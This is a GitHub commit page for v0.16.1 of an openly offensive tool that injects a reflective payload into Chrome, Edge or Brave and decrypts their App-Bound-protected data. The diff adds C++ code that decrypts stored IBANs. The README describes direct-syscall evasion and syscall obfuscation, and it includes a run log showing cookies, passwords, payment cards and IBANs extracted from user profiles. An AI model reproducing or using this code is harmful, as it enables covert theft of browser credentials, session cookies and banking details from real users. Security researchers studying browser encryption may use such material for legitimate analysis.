Skip to content

Commit 48a3cbf

Browse files
committed
v0.16.1
1 parent e4e5c47 commit 48a3cbf

13 files changed

+84
-25
lines changed

CHANGELOG.md

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,11 @@
22

33
## 🆕 Changelog
44

5+
### v0.16.1
6+
- **New Feature: IBAN Extraction**: Added support for extracting International Bank Account Numbers (IBANs) (thanks [raphaelthief](https://github.com/raphaelthief)!)
7+
- Extracts encrypted IBAN values and associated nicknames.
8+
- Outputs to `iban.json` in the browser profile directory.
9+
510
### v0.16.0
611
- **Syscall Obfuscation**: Added runtime protection for the syscall engine.
712
- Syscall Service Numbers (SSNs) and gadget pointers are XOR-encrypted in memory.

README.md

Lines changed: 29 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,7 @@ This tool's effectiveness is rooted in a combination of modern, evasion-focused
3030

3131
### Core Functionality
3232

33-
- 🔓 Full user-mode decryption of cookies, passwords, and payment methods.
33+
- 🔓 Full user-mode decryption of cookies, passwords, payment methods, and IBANs.
3434
- 📁 Discovers and processes all user profiles (Default, Profile 1, etc.).
3535
- 📝 Exports all extracted data into structured JSON files, organized by profile.
3636
- 🔍 Browser Fingerprinting of browser metadata and system information.
@@ -60,9 +60,9 @@ This tool's effectiveness is rooted in a combination of modern, evasion-focused
6060

6161
| Browser | Tested Version (x64 & ARM64) |
6262
| ------------------ | ---------------------------- |
63-
| **Google Chrome** | 141.0.7390.66 |
64-
| **Brave** | 1.83.109 (141.0.7390.55) |
65-
| **Microsoft Edge** | 141.0.3537.57 |
63+
| **Google Chrome** | 142.0.7444.60 |
64+
| **Brave** | 1.84.132 (142.0.7444.60) |
65+
| **Microsoft Edge** | 142.0.3595.53 |
6666

6767
## 🔬 Technical Workflow
6868

@@ -169,7 +169,7 @@ _________ .__ ___________.__ __
169169
\/ \/ \/ \/ \/ \/
170170
171171
Direct Syscall-Based Reflective Hollowing
172-
x64 & ARM64 | v0.16.0 by @xaitax
172+
x64 & ARM64 | v0.16.1 by @xaitax
173173
174174
[*] Processing 3 browser(s):
175175
@@ -203,7 +203,7 @@ _________ .__ ___________.__ __
203203
\/ \/ \/ \/ \/ \/
204204
205205
Direct Syscall-Based Reflective Hollowing
206-
x64 & ARM64 | v0.16.0 by @xaitax
206+
x64 & ARM64 | v0.16.1 by @xaitax
207207
208208
[#] Found and sorted 489 Zw* functions.
209209
[#] Initialized 19 syscall stubs (with obfuscation).
@@ -213,14 +213,14 @@ _________ .__ ___________.__ __
213213
[#] Scanning for and terminating browser network services...
214214
[#] Creating suspended Chrome process.
215215
[#] Target executable path: C:\Program Files\Google\Chrome\Application\chrome.exe
216-
[#] Created suspended process PID: 21708
216+
[#] Created suspended process PID: 6088
217217
[#] Architecture match: Injector=ARM64, Target=ARM64
218-
[#] Named pipe server created: \\.\pipe\chrome.sync.9707.22756.1BE8
218+
[#] Named pipe server created: \\.\pipe\chrome.nacl.3150_4B01
219219
[#] Loading and decrypting payload DLL.
220220
[#] Parsing payload PE headers for ReflectiveLoader.
221-
[#] ReflectiveLoader found at file offset: 0x17930
221+
[#] ReflectiveLoader found at file offset: 0x14fb0
222222
[#] Allocating memory for payload in target process.
223-
[#] Combined memory for payload and parameters allocated at: 0x243d93a0000
223+
[#] Combined memory for payload and parameters allocated at: 0x2d6fec10000
224224
[#] Writing payload DLL to target process.
225225
[#] Writing pipe name parameter into the same allocation.
226226
[#] Changing payload memory protection to executable.
@@ -232,7 +232,7 @@ _________ .__ ___________.__ __
232232
[#] Sent message to pipe: VERBOSE_TRUE
233233
[#] Sent message to pipe: FINGERPRINT_TRUE
234234
[#] Sent message to pipe: C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output
235-
[#] Waiting for payload execution. (Pipe: \\.\pipe\chrome.sync.9707.22756.1BE8)
235+
[#] Waiting for payload execution. (Pipe: \\.\pipe\chrome.nacl.3150_4B01)
236236
237237
[*] Decryption process started for Chrome
238238
[+] COM library initialized (APARTMENTTHREADED).
@@ -242,12 +242,13 @@ _________ .__ ___________.__ __
242242
[*] Discovering browser profiles in: C:\Users\ah\AppData\Local\Google\Chrome\User Data
243243
[+] Found 2 profile(s).
244244
[*] Processing profile: Default
245-
[*] 380 cookies extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Default\cookies.json
245+
[*] 378 cookies extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Default\cookies.json
246246
[*] 1 passwords extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Default\passwords.json
247247
[*] Processing profile: Profile 1
248-
[*] 131 cookies extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Profile 1\cookies.json
248+
[*] 622 cookies extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Profile 1\cookies.json
249249
[*] 2 passwords extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Profile 1\passwords.json
250250
[*] 1 payments extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Profile 1\payments.json
251+
[*] 1 iban extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Profile 1\iban.json
251252
[*] Extraction complete: 2 successful, 0 failed.
252253
[*] Extracting browser fingerprint data...
253254
[*] Discovering browser profiles in: C:\Users\ah\AppData\Local\Google\Chrome\User Data
@@ -256,7 +257,7 @@ _________ .__ ___________.__ __
256257
[#] Payload completion signal received.
257258
258259
[#] Payload signaled completion or pipe interaction ended.
259-
[#] Terminating browser PID=21708 via direct syscall.
260+
[#] Terminating browser PID=6088 via direct syscall.
260261
[#] Chrome terminated by injector.
261262
[+] Extraction completed successfully
262263
```
@@ -273,6 +274,7 @@ Example paths (assuming default output location):\*\*
273274
- 🍪 **Cookies (Chrome Default profile):** .\output\Chrome\Default\cookies.json
274275
- 🔑 **Passwords (Edge Profile 1):** .\output\Edge\Profile 1\passwords.json
275276
- 💳 **Payment Methods (Brave Default profile):** .\output\Brave\Default\payments.json
277+
- 🏦 **IBANs (Chrome Profile 1):** .\output\Chrome\Profile 1\iban.json
276278
277279
### 🍪 Cookie Extraction
278280
@@ -338,6 +340,19 @@ Each payment file is a JSON array of objects:
338340
]
339341
```
340342
343+
### 🏦 IBAN Extraction
344+
345+
Each IBAN file is a JSON array of objects:
346+
347+
```json
348+
[
349+
{
350+
"nickname": "UK Test",
351+
"value": "GB33BUKB20201555555555"
352+
}
353+
]
354+
```
355+
341356
### 🔍 Browser Fingerprinting
342357
343358
When using the `--fingerprint` flag, a comprehensive metadata report is generated:

src/chrome_decrypt.cpp

Lines changed: 40 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
// chrome_decrypt.cpp
2-
// v0.16.0 (c) Alexander 'xaitax' Hagenah
2+
// v0.16.1 (c) Alexander 'xaitax' Hagenah
33
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
44

55
#include <Windows.h>
@@ -400,6 +400,45 @@ namespace Payload
400400
",\"expiration_year\":" + std::to_string(sqlite3_column_int(stmt, 3)) +
401401
",\"card_number\":\"" + Utils::EscapeJson(card_num_str) +
402402
"\",\"cvc\":\"" + Utils::EscapeJson(cvc_str) + "\"}";
403+
}},
404+
{"Web Data", "iban", "SELECT guid, value_encrypted, nickname FROM local_ibans;",
405+
[](sqlite3 *db) -> std::optional<std::any>
406+
{
407+
auto encryptedMap = std::make_shared<std::unordered_map<std::string, std::vector<uint8_t>>>();
408+
sqlite3_stmt *stmt = nullptr;
409+
if (sqlite3_prepare_v2(db, "SELECT guid, value_encrypted FROM local_ibans;", -1, &stmt, nullptr) != SQLITE_OK)
410+
return encryptedMap;
411+
412+
while (sqlite3_step(stmt) == SQLITE_ROW)
413+
{
414+
const char *guid = (const char *)sqlite3_column_text(stmt, 0);
415+
const uint8_t *blob = (const uint8_t *)sqlite3_column_blob(stmt, 1);
416+
if (guid && blob)
417+
(*encryptedMap)[guid] = {blob, blob + sqlite3_column_bytes(stmt, 1)};
418+
}
419+
sqlite3_finalize(stmt);
420+
return encryptedMap;
421+
},
422+
[](sqlite3_stmt *stmt, const auto &key, const auto &state) -> std::optional<std::string>
423+
{
424+
const auto &encryptedMap = std::any_cast<std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>>>(state);
425+
std::string value_str;
426+
try
427+
{
428+
const char *guid = (const char *)sqlite3_column_text(stmt, 0);
429+
if (guid && encryptedMap->count(guid))
430+
{
431+
auto plain = Crypto::DecryptGcm(key, encryptedMap->at(guid));
432+
value_str.assign((char *)plain.data(), plain.size());
433+
}
434+
}
435+
catch (...)
436+
{
437+
// handle errors silently
438+
}
439+
440+
return "{\"nickname\":\"" + Utils::EscapeJson((const char *)sqlite3_column_text(stmt, 2)) +
441+
"\",\"value\":\"" + Utils::EscapeJson(value_str) + "\"}";
403442
}}};
404443
return configs;
405444
}

src/chrome_inject.cpp

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -37,7 +37,7 @@
3737
namespace
3838
{
3939
constexpr DWORD DLL_COMPLETION_TIMEOUT_MS = 60000;
40-
constexpr const char *APP_VERSION = "v0.16.0";
40+
constexpr const char *APP_VERSION = "v0.16.1";
4141

4242
const uint8_t g_decryptionKey[32] = {
4343
0x1B, 0x27, 0x55, 0x64, 0x73, 0x8B, 0x9F, 0x4D,

src/encryptor.cpp

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
// encryptor.cpp
2-
// v0.16.0 (c) Alexander 'xaitax' Hagenah
2+
// v0.16.1 (c) Alexander 'xaitax' Hagenah
33
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
44

55
// Define the implementation flag BEFORE including the header

src/reflective_loader.c

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
// reflective_loader.c
2-
// v0.16.0 (c) Alexander 'xaitax' Hagenah
2+
// v0.16.1 (c) Alexander 'xaitax' Hagenah
33
// Licensed under the MIT License. See LICENSE file in the project root for full license information..
44

55
#include <windows.h>

src/reflective_loader.h

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
// reflective_loader.h
2-
// v0.16.0 (c) Alexander 'xaitax' Hagenah
2+
// v0.16.1 (c) Alexander 'xaitax' Hagenah
33
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
44

55
#ifndef REFLECTIVE_LOADER_H

src/syscall_trampoline_arm64.asm

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
; syscall_trampoline_arm64.asm
2-
; v0.16.0 (c) Alexander 'xaitax' Hagenah
2+
; v0.16.1 (c) Alexander 'xaitax' Hagenah
33
; Licensed under the MIT License. See LICENSE file in the project root for full license information.
44
;
55
; A simple and ABI-compliant ARM64 trampoline. This version preserves callee-saved

src/syscall_trampoline_x64.asm

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
; syscall_trampoline_x64.asm
2-
; v0.16.0 (c) Alexander 'xaitax' Hagenah
2+
; v0.16.1 (c) Alexander 'xaitax' Hagenah
33
; Licensed under the MIT License. See LICENSE file in the project root for full license information.
44
;
55
; ABI-compliant x64 trampoline with unconditional marshalling for max arguments.

src/syscalls.cpp

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
// syscalls.cpp
2-
// v0.16.0 (c) Alexander 'xaitax' Hagenah
2+
// v0.16.1 (c) Alexander 'xaitax' Hagenah
33
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
44

55
#include "syscalls.h"

0 commit comments

Comments
 (0)